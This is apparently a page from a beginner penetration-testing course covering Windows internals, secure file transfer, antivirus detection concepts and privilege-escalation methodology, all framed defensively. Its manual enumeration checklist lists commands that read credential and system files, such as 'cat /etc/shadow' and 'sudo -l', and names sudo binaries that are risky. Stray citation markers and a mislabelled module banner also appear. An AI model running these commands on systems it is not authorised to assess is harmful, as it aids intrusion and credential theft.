User Mode Where regular applications run; limited privileges Explorer.exe, browsers, Office apps
Kernel Mode Full access to hardware and system memory Drivers, kernel, hardware abstraction layer
HAL (Hardware Abstraction Layer) Simplifies hardware communication Abstracts CPU, motherboard, interrupts
NT Kernel Core OS engine Thread scheduler, memory manager, security monitor
💡 Pentesters study architecture not for exploitation, but to understand how Windows protects processes, handles system calls, and logs system activity.

18.2 Windows Processes, Threads & Services

Windows uses a structured approach to manage applications and background tasks. Understanding processes helps in detecting anomalies during security assessments.

🧠 Process Structure

  • ✔ A process is a running instance of a program
  • ✔ Contains memory, handles, threads, permissions
  • ✔ Each process has a unique PID (Process ID)
  • ✔ Child processes inherit some attributes from parents

📌 Windows Services

Services are background processes managed by the Service Control Manager (SCM).

  • ✔ Can run as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE
  • ✔ Start automatically, manually, or by trigger
  • ✔ Configurations stored in the Registry
✔ Analysts monitor services to detect anomalies or unauthorized additions.

18.3 Windows Memory Architecture

Windows memory is divided into regions with different protection levels. Pentesters and defenders study this structure to understand legitimate behavior and analyze suspicious activity.

📦 Memory Regions

Region Description Contents
Stack Stores function calls, local variables Structured, LIFO memory
Heap Dynamic memory allocation malloc/new allocated objects
Executable Memory Read-only program code .text section
PE Sections Windows binary layout .text, .data, .rdata, .rsrc
✔ Windows memory protections prevent unauthorized code execution and reduce malware impact.

18.4 Windows Registry – Structure & Importance

The Windows Registry is a hierarchical database storing system settings, service configurations, hardware details, and user preferences.

📂 Major Registry Hives

  • HKLM – System-wide settings
  • HKCU – Per-user configurations
  • HKCR – File associations, COM objects
  • HKU – Loaded user profiles
  • HKCC – Hardware profile
✔ Pentesters monitor registry changes to identify unauthorized persistence mechanisms.

18.5 Windows Authentication & Security Components

Understanding how Windows authenticates users helps analysts evaluate system security without performing any attacks.

🔐 Authentication Components

Component Purpose
LSA (Local Security Authority) Manages authentication & security policies
SAM Database Stores local user account details
Kerberos Default domain authentication protocol
NTLM Fallback authentication protocol
Credential Manager Stores saved logins
✔ This knowledge helps identify weak configurations—not to exploit them.

18.6 Windows Logging & Event Monitoring

Windows logs are the backbone of threat detection and incident response. Pentesters use them to validate proper visibility in authorized tests.

📘 Important Log Categories

  • ✔ Security (Authentication, permissions)
  • ✔ System (Drivers, hardware issues)
  • ✔ Application (Errors from installed apps)
  • ✔ PowerShell logs
  • ✔ Sysmon logs (advanced monitoring)
✔ Monitoring logs helps identify suspicious patterns during security assessments.

18.7 Windows File System & Permissions

Understanding NTFS structure and permissions helps defenders identify misconfigurations.

📁 Key Windows File System Concepts

  • ✔ NTFS: Supports encryption, compression, ACLs
  • ✔ Access Tokens define user rights
  • ✔ SIDs (Security Identifiers) uniquely identify users/groups
  • ✔ ACE (Access Control Entries) define permissions
✔ Misconfigured permissions can lead to security gaps—but this module teaches only how to recognize them safely.

🎓 Module 18 : Fixing Exploits Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 19 – File Transfers (Ultra-Level Detailed & Safe)

File transfers are central to system administration, application delivery, backups, and collaboration. This module provides an ultra-detailed, defensive study of file transfer protocols, secure configurations, logging, forensic artifacts, automation, and risk management.

⚠️ Important:
This module is purely educational and focused on secure usage, detection, and defensive controls. No offensive or destructive instructions are provided.

19.1 Overview: Why File Transfers Matter

File transfer capabilities are used everywhere — software updates, backups, log shipping, content delivery, and user uploads. Misconfigured or insecure file transfer processes introduce data leakage, malware delivery, and compliance risks.

🎯 Primary Goals of This Module

  • ✔ Understand common file transfer protocols & how they differ
  • ✔ Learn secure configuration patterns
  • ✔ See forensic artifacts & logging points
  • ✔ Build detection rules and hardening checklists
  • ✔ Automate secure file movement
💡 Analogy: File transfer is like shipping packages — you need secure packaging, trackable delivery, trusted couriers, and checks at origin & destination.

19.2 Common File Transfer Protocols — Comparison & Use Cases

Below is a high-level comparison of common transport mechanisms — focus on their intended uses and security properties.

Protocol Transport Auth Encryption Common Use Cases
FTP TCP 20/21 (control/data) Username/Password (cleartext) None (unless FTPS) Legacy file servers, public anonymous shares (legacy)
FTPS (FTP over TLS) TCP (explicit/implicit TLS) Username/Password (TLS session) TLS Legacy FTP with encryption requirement
SFTP (SSH File Transfer) TCP 22 (over SSH) SSH keys / passwords SSH (encrypted) Secure ad-hoc transfers, automation, backups
SCP TCP 22 SSH keys / passwords SSH Simple secure copy via SSH (scripted)
HTTP / HTTPS TCP 80 / 443 Basic, token, OAuth TLS for HTTPS Web uploads, APIs, CDNs, resumable uploads
WebDAV (over HTTP/S) 80 / 443 Basic / Digest / OAuth TLS (HTTPS) Remote file editing, collaboration shares
SMB / CIFS TCP 445 Windows auth (Kerberos/NTLM) SMB encryption optional (modern Windows) File shares, Windows domain file access
NFS TCP/UDP 2049 Host-based / Kerberos (NFSv4) Optional (sec=krb5p) Unix/Linux file shares, cluster storage
rsync (over SSH) TCP 22 (or rsyncd) SSH keys / rsyncd config SSH (encrypted) Efficient synchronization, backups
✔ Choose the protocol appropriate for your security & performance requirements — prefer encrypted transports (SFTP/HTTPS/SMB3/NFS with Kerberos).

19.3 Risks & Threat Models for File Transfers

Map threats to file transfer channels to prioritize mitigations.

🔍 Threat Model Elements

  • ✔ Eavesdropping (cleartext credentials or payloads)
  • ✔ Credential theft (reused passwords, keys leaked)
  • ✔ Malware delivery via uploads
  • ✔ Unauthorized access to sensitive files
  • ✔ Data exfiltration via allowed transfer channels
  • ✔ Insecure temporary file handling leading to leakage

📌 Risk Prioritization Tips

  • ✔ Protect credentials & keys first
  • ✔ Encrypt data in transit and at rest
  • ✔ Monitor transfer channels for abnormal volumes
  • ✔ Harden endpoints that accept uploads
⚠️ Even secure transports (e.g., SFTP) can be abused for exfiltration if accounts/keys are compromised — monitoring matters.

19.4 Secure Configuration Best Practices

Practical, defensive hardening patterns for file transfer services and clients.

🔐 Server-Side Hardening Checklist

  • ✔ Disable insecure protocols (FTP, TLS 1.0/1.1) unless absolutely necessary
  • ✔ Enforce strong ciphers and TLS 1.2/1.3 for FTPS/HTTPS
  • ✔ Require key-based auth for SFTP (disable password auth if possible)
  • ✔ Limit accounts to least privilege and chroot/SFTP-jail users
  • ✔ Enable logging & centralize logs (syslog/ELK/SIEM)
  • ✔ Use IP allowlists or VPN for administrative access
  • ✔ Implement rate limiting & connection throttling
  • ✔ Enforce strong password policies and rotate keys
  • ✔ Patch transfer servers and libraries promptly
  • ✔ Use storage-level encryption for sensitive files at rest

🔒 Client-Side Hardening Checklist

  • ✔ Use validated client software (avoid outdated GUI clients)
  • ✔ Store SSH keys securely (use OS key stores or hardware tokens)
  • ✔ Avoid embedding credentials in scripts (use vaults or agent-based auth)
  • ✔ Validate server fingerprints before trusting new endpoints
  • ✔ Run transfers from hardened hosts with monitoring agents
💡 Use defense-in-depth — harden servers, clients, network, and monitoring together.

19.5 Authentication & Key Management

Secure authentication and disciplined key/certificate management are foundations of safe file transfers.

🔑 Authentication Options & Recommendations

  • ✔ Prefer SSH keys (with passphrases) for SFTP/SCP
  • ✔ Use certificate-based TLS for FTPS/HTTPS
  • ✔ Use centralized identity (AD/LDAP) for SMB/WebDAV auth
  • ✔ Implement multi-factor authentication for web consoles

🛡️ Key Management Best Practices

  • ✔ Rotate keys on a schedule
  • ✔ Use hardware-backed keys (HSMs / YubiKeys) for critical systems
  • ✔ Store credentials in a secrets manager (Vault, AWS Secrets Manager)
  • ✔ Audit and remove unused keys & service accounts
✔ Poor key hygiene is a primary cause of undetected exfiltration or lateral movement.

19.6 Logging, Monitoring & Forensic Artefacts

Knowing where to look for traces of file transfers is essential for incident detection and post-incident analysis.

📍 Key Logging Points by Protocol

Protocol Primary Logs / Artefacts Useful For
SFTP / SSH /var/log/auth.log, /var/log/secure, sshd logs, auditd Successful logins, key usage, connection times, commands (if shell access)
FTPS / FTP FTP server logs (vsftpd, proftpd), TLS handshake logs Transfer sessions, client IPs, uploaded filenames
HTTPS / Web Upload Web server logs (access.log), application logs, WAF logs URLs, POST sizes, auth tokens, client IP
SMB Windows Event Logs (Security, SMB audit), SMB server logs File create/open/rename/delete, ACL changes, authentication
rsync rsyncd logs, syslog, SSH logs Synced files list, transfer sizes, client host

🔎 Forensic Artefacts on Endpoints

  • ✔ Temporary files and upload directories
  • ✔ Browser cache and form history (web uploads)
  • ✔ SSH known_hosts and known key files
  • ✔ Application-level logs (upload endpoints)
  • ✔ Windows Prefetch / RecentFiles for GUI transfers
✔ Centralize logs into a SIEM and build parsers for transfer-specific fields (file names, sizes, user, source IP).

19.7 Detection Use-Cases & Example SIEM Rules

Example detection ideas you can implement in a SIEM or IDS to monitor for suspicious file transfer activity.

📌 Example Detection Rules

  1. Large outbound transfer: Trigger when a single user uploads > X GB outside business hours.
  2. New SFTP key usage: Alert when a previously unused SSH key is used to connect to production SFTP.
  3. Unusual destination IP: Flag transfers to IPs not in allowlist or to cloud storage endpoints not used by org.
  4. Multiple file deletes after transfer: Detect sequences of create → transfer → delete to spot exfiltration cleanup.
  5. Failed auth pattern: Repeated failed logins followed by a successful transfer (possible credential stuffing).
✔ Tune baselines per service; use entity analytics (user, host, source IP) to reduce false positives.

19.8 Malware & Abuse via File Transfers — Defensive Controls

Attackers can use file transfer channels to deliver malware or stage exfiltration. Defensive controls help reduce this risk.

🛡️ Key Controls

  • ✔ Antivirus / EDR scanning of uploads (inbound & stored files)
  • ✔ Sandboxing suspicious uploads before making them available
  • ✔ Enforce file type whitelists & block double extensions
  • ✔ Strip metadata and macros from uploaded documents
  • ✔ Quarantine unknown file types for manual review
  • ✔ Use DLP to prevent sensitive data uploads to unapproved destinations
⚠️ Scanning & sandboxing must be paired with strong access controls — detection alone is not sufficient.

19.9 Automation & Secure Transfer Patterns

Automating file transfers (backups, CI/CD artifacts, logs) improves reliability — but must be done securely.

🔧 Secure Automation Patterns

  • ✔ Use SSH agent forwarding with limited lifetime keys or ephemeral credentials
  • ✔ Use signed artifacts and verify signatures on download
  • ✔ Store credentials in a secrets manager and fetch at runtime (no plaintext in scripts)
  • ✔ Maintain immutable build artifacts and retention policies
  • ✔ Implement idempotent transfers and checksums (verify integrity)
  • ✔ Use logging hooks in automation (audit all actions)
💡 Use checksums (SHA-256) and signatures to detect tampering during automated transfers.

19.10 Data Classification, Retention & Compliance

File transfer policies must adhere to data classification and legal/regulatory requirements.

📚 Policy Considerations

  • ✔ Define what data is allowed to be transferred externally
  • ✔ Apply stronger protections for PII, PHI, financial data
  • ✔ Maintain audit trails for transfers of regulated data
  • ✔ Enforce retention & secure deletion policies
  • ✔ Use contractual controls for third-party transfer endpoints
✔ Consider privacy & residency laws (GDPR, HIPAA) when transferring regulated data across borders.

19.11 Labs, Exercises & Safe Hands-On Practice

Suggested safe exercises to understand file transfer configuration and detection (do these only in lab environments).

  1. Setup an SFTP server in a VM; configure key-only auth and chrooted user; observe logs from client connections.
  2. Configure an HTTPS upload endpoint behind a WAF; test large file uploads and analyze application logs.
  3. Create an rsync backup job with checksums; simulate interrupted transfers and verify integrity on resume.
  4. Ship logs to a SIEM; create detection rules for unusual outbound upload volume and test tuning.
  5. Implement file scanning pipeline: upload → quarantine → sandbox → release/deny decision.
⚠️ Perform exercises only in isolated lab networks. Never test against production or unauthorized systems.

19.12 Summary & Practical Checklist

Quick reference checklist for secure file transfer operations.

  • ✔ Use encrypted transport (SFTP/HTTPS/SMB3)
  • ✔ Prefer key-based or certificate-based auth
  • ✔ Harden servers: patch, limit accounts, chroot/jails
  • ✔ Centralize logging; build detections for abnormal transfers
  • ✔ Scan and sandbox uploaded content before release
  • ✔ Store credentials in secrets manager; rotate keys
  • ✔ Apply data classification & compliance checks on transfers
  • ✔ Automate securely (signed artifacts, ephemeral creds)
  • ✔ Periodically audit and review transfer accounts & automation jobs
✅ Following these patterns reduces the attack surface and improves detection & response for file transfer-related threats.

🎓 Module 19 : File Transfers Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 20 – Antivirus Evasion (Ultra-Level Detailed & Safe)

This module explains how modern antivirus (AV), EDR, and security solutions detect threats. It focuses on internal mechanisms, scanning engines, heuristics, behavioral analysis, telemetry, and defense strategies.

This knowledge is essential for pentesters, blue teamers, malware analysts, and cybersecurity students to understand why certain files are flagged, how false positives occur, and how organizations can strengthen protection.

⚠️ This module does NOT provide evasion, bypass, or offensive instructions. The content is strictly defensive and educational.

⚠️ Important: This module explains detection internals, classification logic, and defensive hardening ONLY.
No AV bypass techniques, no exploit instructions, and no harmful methods are included.

20.1 How Antivirus Works — The Big Picture

Antivirus systems evolved from simple signature scanners to complex, AI-powered, behaviorally aware endpoint protection platforms. Understanding this evolution helps identify how modern systems prevent malicious execution.

🧭 The Five Pillars of AV Detection

  • ✔ Signature Matching – Identifies known malicious patterns
  • ✔ Heuristic Analysis – Detects suspicious code structures
  • ✔ Behavioral Monitoring – Observes runtime actions
  • ✔ Machine-Learning Classification – Predictive detection
  • ✔ Cloud-Assisted Intelligence – Reputation & telemetry
💡 Modern AV functions more like a threat analysis engine than a simple file scanner.

20.2 Signature-Based Detection (How Signatures Are Created)

Signatures are the oldest and simplest form of detection. They rely on matching patterns in files, memory, or behavior.

🔍 Types of Signatures

  • Hash Signatures: Exact file fingerprints (MD5, SHA-256)
  • Binary Pattern Signatures: Byte sequences found in known malware
  • Heuristic Signatures: Rules detecting suspicious structures
  • YARA-Style Signatures: Metadata + strings + logic rules

📦 How Vendors Generate Signatures

  1. Collect malware samples from malware exchanges
  2. Reverse-engineer or analyze behavior
  3. Extract unique artifacts (strings, structure)
  4. Convert artifacts to detection rules
  5. Test signatures to prevent false positives
✔ Signature detection alone is insufficient today, but it remains useful for known threats.

20.3 Behavioral Analysis Concepts

Behavioral detection focuses on what a file does, not what it looks like. This protects systems from polymorphic malware, packed binaries, and heavily obfuscated threats.

🎯 Key Behavioral Indicators

  • ✔ Sudden file encryption, renames, or mass deletes
  • ✔ Unusual registry edits or persistence actions
  • ✔ Network connections to suspicious domains
  • ✔ Code injection into other processes
  • ✔ Untrusted macros executing scripts

🧠 Behavioral Engines Use:

  • ✔ Sandboxing environments
  • ✔ System call interception
  • ✔ API monitoring
  • ✔ Memory write tracking
  • ✔ Kernel callbacks
⚠️ Behavioral detection is powerful but generates noise — tuning and baselining are essential.

20.4 EDR & Modern Detection (Safe, Defensive Focus Only)

Endpoint Detection & Response (EDR) platforms extend AV with deep visibility, telemetry, and forensic data. This section explains EDR architecture and capabilities for defenders.

🔎 What EDR Monitors

  • ✔ File events (create, modify, delete)
  • ✔ Process trees & parent/child anomalies
  • ✔ Command-line arguments
  • ✔ Registry writes & persistence
  • ✔ Network connections
  • ✔ Memory activity (injection attempts)

📡 EDR Architecture

Component Purpose
Endpoint Sensor Collects local telemetry (file, network, process)
Cloud Analysis Engine Correlates events across many endpoints
Threat Intelligence Feed Provides IOCs & global malware metadata
Analyst Console Used for hunting, triage, and investigation
💡 EDR is now the primary tool for incident responders — AV is just one part of the bigger ecosystem.

20.5 Why Evasion Techniques Matter (Defensive Study Only)

Studying evasion attempts is essential for strengthening defensive strategies. Understanding attacker methodology allows blue teams to detect stealthy patterns.

🎯 Why Defenders Study Evasion Attempts

  • ✔ Improve detection logic
  • ✔ Identify gaps in visibility
  • ✔ Spot suspicious behavioral anomalies
  • ✔ Strengthen policies around execution control
  • ✔ Understand common false-negative scenarios

🛡️ Defensive Countermeasures

  • ✔ Enforce application allow-listing
  • ✔ Enable memory scanning features
  • ✔ Hard-block unsigned binaries in high-security zones
  • ✔ Use behavioral & machine-learning detections
  • ✔ Integrate EDR with SIEM for correlated detections
⚠️ This module explains “why evasion matters,” NOT how to evade detection.

🎓 Module 20 : Antivirus Evasion Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 21 – Privilege Escalation

Privilege escalation refers to the process of gaining higher-level permissions on a system beyond what was originally granted. In authorized penetration testing and security auditing, privilege escalation is used to verify security controls, identify misconfigurations, and ensure proper hardening.

⚠️ This module teaches only concepts, misconfigurations, defensive techniques, and detection insights. No attack steps, exploitation methods, or actionable misuse instructions are included.

⚠️ Important:
This module is strictly educational and defensive. It explains root causes, OS behavior, detection methods, and hardening practices — never exploitation details.

21.1 What is Privilege Escalation?

Privilege Escalation is a situation where a user, program, or process gets more permissions than it was originally allowed. These extra permissions allow actions that should normally be restricted.

In a secure system, users are given only the access they need. Privilege escalation breaks this rule and creates security risks.

🎯 Core Objectives of Studying Privilege Escalation

  • ✔ Find weak file, folder, or system permissions
  • ✔ Detect OS and application misconfigurations
  • ✔ Check whether least-privilege rules are followed
  • ✔ Measure damage if a low-level account is compromised

🧩 Why Privilege Escalation Matters

  • ✔ Attackers usually start with limited access
  • ✔ Full system control requires higher privileges
  • ✔ Most serious breaches involve admin/root access
  • ✔ Weak escalation controls show poor security hygiene
  • ✔ Resetting passwords
  • ✔ Bypassing access controls to compromise protected data
  • ✔ Editing software configurations
  • ✔ Enabling persistence
  • ✔ Changing the privilege of existing (or new) users
  • ✔ Execute any administrative command

⚙️ Simple Example

Imagine an office:

  • 👤 Normal user = regular employee
  • 🧑‍💼 Admin / Root = manager

Privilege escalation is when a regular employee suddenly gets manager-level authority without permission.

💡 Studying privilege escalation helps fix weaknesses before attackers can abuse them.

21.2 Vertical vs Horizontal Escalation

Privilege escalation is mainly divided into Vertical and Horizontal types. Both are dangerous but affect systems differently.

Type What Happens Simple Example
🔼 Vertical Escalation User gains higher authority Normal user → Administrator
➡️ Horizontal Escalation User accesses another user’s data User A reads User B’s files

🔼 Vertical Privilege Escalation

Vertical escalation occurs when a user moves up the permission ladder. This gives control over the entire system.

  • ✔ Modify system settings
  • ✔ Create or delete users
  • ✔ Access sensitive system files
  • ✔ Disable security tools

➡️ Horizontal Privilege Escalation

Horizontal escalation happens when users stay at the same privilege level but access other users’ data.

  • ✔ Viewing another user’s personal data
  • ✔ Editing someone else’s account
  • ✔ Accessing unauthorized records
✔ Vertical escalation leads to system takeover
✔ Horizontal escalation leads to data leakage
Both are serious security issues.

21.3 Local vs Domain Privilege Escalation

Privilege escalation can occur at different levels within an organization. Understanding the difference between Local and Domain privilege escalation is critical for both security testing and defensive strategy planning.

💡 Local escalation affects one machine.
💡 Domain escalation affects the entire enterprise network.

🖥️ Local Privilege Escalation

Local privilege escalation occurs when a user gains higher privileges on a single system.

  • ✔ Standard user → Administrator (Windows)
  • ✔ Normal user → Root (Linux)
  • ✔ Service account → SYSTEM-level permissions
📌 Characteristics of Local Escalation
  • ✔ Limited to one machine
  • ✔ Often caused by misconfigurations
  • ✔ Can lead to persistence on that system
  • ✔ May enable credential harvesting
⚠️ Even though it is “local,” it can be a stepping stone toward domain-wide compromise.

🌐 Domain Privilege Escalation

Domain privilege escalation occurs within centralized authentication environments such as enterprise directory services. It involves gaining elevated privileges across multiple systems.

  • ✔ Domain User → Domain Admin
  • ✔ Compromise of Group Policy control
  • ✔ Access to Domain Controller systems
📌 Why Domain Escalation is Dangerous
  • ✔ Full network takeover risk
  • ✔ Control of authentication systems
  • ✔ Access to sensitive enterprise data
  • ✔ Ability to push policies to all machines
🚨 Domain-level escalation can compromise an entire organization.

📊 Comparison Table

Factor Local Escalation Domain Escalation
Scope Single machine Entire network
Impact System-level compromise Enterprise-level compromise
Complexity Moderate High
✅ Understanding scope helps defenders prioritize security controls.

21.4 Common PrivEsc Methodology (Step-by-Step Workflow)

A privilege escalation methodology is a structured, repeatable process used by security professionals to systematically identify weaknesses in system permissions, configurations, and security controls. This is NOT an exploitation guide — it is a defensive assessment workflow.

🎯 Purpose: This methodology helps defenders think like assessors to find and fix privilege gaps before they are abused.

📋 Phase 1: Pre-Enumeration & Situational Awareness

Before any detailed checking, understand the environment you are assessing. This phase answers: "What are we looking at?"

🔍 System Identification Checklist
  • ✓ Operating system name and version
  • ✓ Kernel version and build
  • ✓ Hostname and domain membership
  • ✓ Architecture (x86, x64, ARM)
  • ✓ Uptime and last patch date
👤 User Context Checklist
  • ✓ Current username
  • ✓ Group memberships
  • ✓ Privilege level
  • ✓ Authentication method
  • ✓ Session type (local/RDP/SSH)
⚠️ Defensive Note: Organizations should document their baseline configurations so anomalies are immediately visible during assessment.

🔎 Phase 2: Systematic Enumeration (The 80% Rule)

Enumeration is the most critical phase. Experienced assessors know that 80% of privilege escalation opportunities are found through thorough enumeration, not complex exploitation.

🐧 Linux Enumeration Categories
System Information

Kernel, distribution, architecture, environment variables

User & Group

Current user, other users, groups, login history, sudoers

File System

Writable directories, SUID/SGID, world-writable files, backups

Processes & Services

Running processes, cron jobs, network services

Network

Interfaces, open ports, routing tables, DNS configuration

Applications

Installed software, versions, running web applications

🪟 Windows Enumeration Categories
System Information

OS version, hotfixes, computer name, architecture

User & Group

Current user privileges, local users, domain groups

File System

Writable directories, weak permissions, unattended files

Services

Running services, service permissions, unquoted paths

Registry

Autoruns, AlwaysInstallElevated, weak ACLs

Credentials

Stored credentials, vault, DPAPI, PowerShell history

💡 Defensive Automation: Security teams can create scripts to periodically check these categories and alert on deviations from secure baselines.

📊 Phase 3: Analysis & Prioritization

After enumeration, findings must be analyzed and prioritized. Not every misconfiguration represents a realistic risk.

🎯 Risk Assessment Criteria
Priority Criteria Example Action
Critical Immediate privileged access, no user interaction required World-writable system service binary Fix within 24 hours
High Privileged access possible, some conditions required Unquoted service path with write access Fix within 1 week
Medium Privilege escalation possible but requires specific conditions Sudo command with limited parameters Fix within 1 month
Low Theoretical risk, multiple conditions required Outdated kernel with no known exploit Schedule for next maintenance

🛡️ Phase 4: Validation & Non-Exploitative Verification

Before reporting a finding, professional assessors verify it is legitimate. This is done through non-destructive verification, not exploitation.

✅ Permission Verification

Use built-in tools to confirm file, folder, and registry permissions:

  • Linux: ls -la, getfacl
  • Windows: icacls, Get-Acl
🔍 Configuration Review

Examine configuration files and settings:

  • Linux: sudo -l, /etc/crontab
  • Windows: sc qc, reg query
📋 Documentation

Record exact path, permissions, and impact without triggering changes.

  • Screenshots of permissions
  • Configuration excerpts
  • Risk rationale
🚨 Ethical Boundary: Verification NEVER includes:
  • Writing files to protected directories
  • Modifying service configurations
  • Attempting to execute code with elevated privileges
  • Crashing or destabilizing services

📝 Phase 5: Reporting & Remediation

The final phase transforms technical findings into actionable intelligence for system owners and administrators.

📄 Finding Report Structure
1. Executive Summary

One-paragraph overview for management

2. Technical Details

System affected, exact location, permissions observed

3. Risk Assessment

Likelihood, impact, overall severity

4. Remediation Steps

Clear, actionable fix instructions

5. References

CWE, CVE, vendor documentation

6. Evidence

Screenshots, command output (sanitized)


🔄 Complete Privilege Escalation Assessment Workflow

1️⃣
Pre-Enum
System ID, User Context
2️⃣
Enumerate
Systematic data collection
3️⃣
Analyze
Prioritize findings
4️⃣
Verify
Non-exploit validation
5️⃣
Report
Document & communicate
6️⃣
Remediate
Fix & verify

⚠️ Common Methodology Mistakes (Defensive View)

❌ Incomplete Enumeration

Only running automated tools, skipping manual verification.

Fix: Always verify automated findings manually.

❌ Confirmation Bias

Assuming a finding is valid without proper verification.

Fix: Challenge every finding with "How do I know this is really a risk?"

❌ Missing Context

Reporting technical findings without business impact.

Fix: Always explain WHY a finding matters to the organization.

❌ No Remediation Guidance

Identifying problems without providing solutions.

Fix: Every finding must include clear, actionable remediation steps.


✅ Defensive Privilege Escalation Assessment Summary

A proper methodology is:

  • Systematic — Follows a repeatable process
  • Thorough — Covers all relevant categories
  • Verifiable — Findings are confirmed through legitimate means
  • Actionable — Provides clear remediation guidance
  • Ethical — Never crosses into exploitation or damage
💡 Final Thought: A mature security organization doesn't just run tools — they follow a structured methodology, document findings professionally, and continuously improve their assessment process based on lessons learned.

21.5 Automated Enumeration Tools (LinPEAS, LinEnum, LES, etc.)

Automated enumeration tools are used during the privilege escalation phase to quickly identify potential misconfigurations, weak permissions, and system-level vulnerabilities. These tools are designed to save time, not to replace manual analysis.

In real-world penetration tests, automated tools are typically executed after initial access to help highlight possible privilege escalation vectors that might otherwise be overlooked.


📌 Why Automated Enumeration Tools Matter

Modern Linux systems contain thousands of files, configurations, and permissions. Manually checking every possible privilege escalation path is time-consuming and error-prone.

Automated enumeration tools assist by:

  • Scanning system configurations quickly
  • Highlighting dangerous permissions
  • Identifying kernel and software vulnerabilities
  • Providing structured output for analysis
💡 These tools should be treated as assistants, not decision-makers.

📌 Environmental Limitations

The effectiveness of an enumeration tool depends heavily on the target system’s environment. Not all systems will support every tool.

  • Python-based tools require Python to be installed
  • Bash scripts are more portable but less detailed
  • Restricted shells may block script execution
  • Endpoint security may flag enumeration scripts

Because of these limitations, professional testers avoid relying on a single tool and instead become familiar with multiple options.


📌 Popular Linux Enumeration Tools

1. LinPEAS

LinPEAS is one of the most comprehensive Linux privilege escalation enumeration tools available. It is part of the PEASS-ng project.

  • Highlights risky permissions using color coding
  • Checks SUID binaries, cron jobs, capabilities, and writable files
  • Detects kernel exploits and misconfigurations

LinPEAS is powerful but verbose, requiring careful analysis to avoid false assumptions.

📥 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
2. LinEnum

LinEnum is a lightweight Bash script focused on simplicity and portability.

  • Runs on most Linux systems
  • Enumerates users, groups, cron jobs, and file permissions
  • Ideal for restricted environments

LinEnum produces less output than LinPEAS, making it easier to review manually.

📥 https://github.com/rebootuser/LinEnum
3. Linux Exploit Suggester (LES)

Linux Exploit Suggester focuses specifically on kernel-level privilege escalation opportunities.

  • Analyzes kernel version
  • Maps kernel to known exploits
  • Useful for outdated or legacy systems
⚠️ Kernel exploits are risky and should be validated carefully.
📥 https://github.com/mzet-/linux-exploit-suggester
4. Linux Smart Enumeration (LSE)

Linux Smart Enumeration balances depth and readability by prioritizing high-impact checks.

  • Focuses on realistic escalation paths
  • Produces cleaner output than LinPEAS
  • Good for time-limited assessments
📥 https://github.com/diego-treitos/linux-smart-enumeration
5. Linux Privilege Checker

Linux Priv Checker is an older enumeration script that still provides useful baseline checks.

  • Simple and easy to understand
  • Good for learning privilege escalation concepts
  • Less effective on modern hardened systems
📥 https://github.com/linted/linuxprivchecker

📌 Limitations of Automated Tools

While automated enumeration tools are valuable, they have important limitations that testers must understand.

  • They may miss custom misconfigurations
  • They can generate false positives
  • They do not understand application logic
  • They cannot replace human judgment
✅ The best results come from combining automated output with manual verification.

📌 Best Practice Workflow

  1. Perform basic manual enumeration
  2. Run one or more automated tools
  3. Review results carefully
  4. Validate findings manually
  5. Proceed to exploitation only when justified
🚨 Legal & Ethical Notice:
Automated enumeration tools must only be used on systems you own or have explicit written authorization to test.

21.6 Manual Enumeration Checklist

Manual enumeration is the systematic, hands-on process of inspecting a system to understand its configuration, users, permissions, and potential security weaknesses. While automated tools (LinPEAS, LinEnum) are fast and comprehensive, manual enumeration is irreplaceable for finding custom misconfigurations, context-specific issues, and false positives [citation:6][citation:7].

🎯 Defensive Purpose: This checklist is designed for security professionals, system administrators, and blue teams to audit their own systems for privilege escalation risks. It is NOT an exploitation guide. Each command helps identify misconfigurations that should be hardened.
⚠️ Authorization Required: These enumeration techniques must only be used on systems you own or have explicit written permission to assess. Unauthorized enumeration is often considered reconnaissance and is illegal in most jurisdictions.

🖥️ 1. System Identification & Kernel Information

Understanding the operating system, kernel version, and hardware architecture is the foundation of any security assessment. This information determines which security patches are missing and helps identify kernel-level vulnerabilities [citation:4][citation:6].

Command Purpose What to Look For (Defensive Red Flags)
hostname Display system name Hostname may reveal system role (e.g., "DC01", "prod-db", "backup")
uname -a All system information (kernel, hostname, architecture) Old kernel versions (e.g., 2.6.x, 3.x) indicate missing patches [citation:5]
uname -r Kernel release version Cross-reference with CVE databases; e.g., 3.13.0-24 = CVE-2015-1328 [citation:5]
uname -m Machine architecture i686 (32-bit) vs x86_64 (64-bit); affects exploit compatibility [citation:6]
cat /etc/*-release OS distribution and version Ubuntu 14.04, CentOS 6, Debian 8 are end-of-life and unpatched [citation:1][citation:3]
cat /proc/version Kernel + compiler + build info GCC version may indicate age of system
hostnamectl Systemd-based OS details Kernel, OS, architecture, virtualization type
lsb_release -a Debian/Ubuntu release info Confirm Ubuntu/Debian version [citation:1]
lscpu CPU architecture details Number of cores, virtualization support, architecture [citation:6]
uptime System uptime Long uptime = system not patched/rebooted recently
💡 Defensive Tip: Document your organization's standard kernel versions and OS builds. Any deviation during an audit immediately signals an unpatched or non-compliant system.

👥 2. User & Group Enumeration

User and group enumeration reveals who has access to the system, what privileges they hold, and whether any accounts are misconfigured or orphaned. This is critical for detecting privilege creep and excessive permissions [citation:1][citation:6].

Command Purpose What to Look For (Defensive Red Flags)
id Current user identity (UID, GID, groups) Unusual group memberships (docker, disk, sudo, wheel, adm)
whoami Current username Are you root? If yes, why is a low-privilege test needed?
cat /etc/passwd List all system users Users with shells (/bin/bash, /bin/sh); unexpected service accounts; duplicate UIDs [citation:1][citation:6]
cat /etc/group List all groups Sensitive groups (sudo, wheel, shadow, disk, video) with excessive members [citation:1]
groups <username> Groups for specific user Check if standard users are in admin groups [citation:1]
getent passwd Users from all sources (local + network) Domain users, LDAP accounts; may reveal hidden identities [citation:6]
getent group Groups from all sources Network group memberships [citation:6]
sudo -l List sudo privileges for current user CRITICAL: NOPASSWD entries; sudo rights to dangerous binaries (nmap, vim, nano, python, perl, find, less, more, cp) [citation:5][citation:6]
cat /etc/sudoers Global sudo configuration (if readable) Weak permissions on sudoers file; users with (ALL) ALL; insecure env_keep [citation:3]
cat /etc/shadow Password hashes (root only) If readable → CRITICAL MISCONFIGURATION [citation:6]
last Last logged-in users Unauthorized or unusual access times; shared accounts [citation:3]
who / w Currently logged-in users Multiple sessions; unexpected remote users [citation:3]
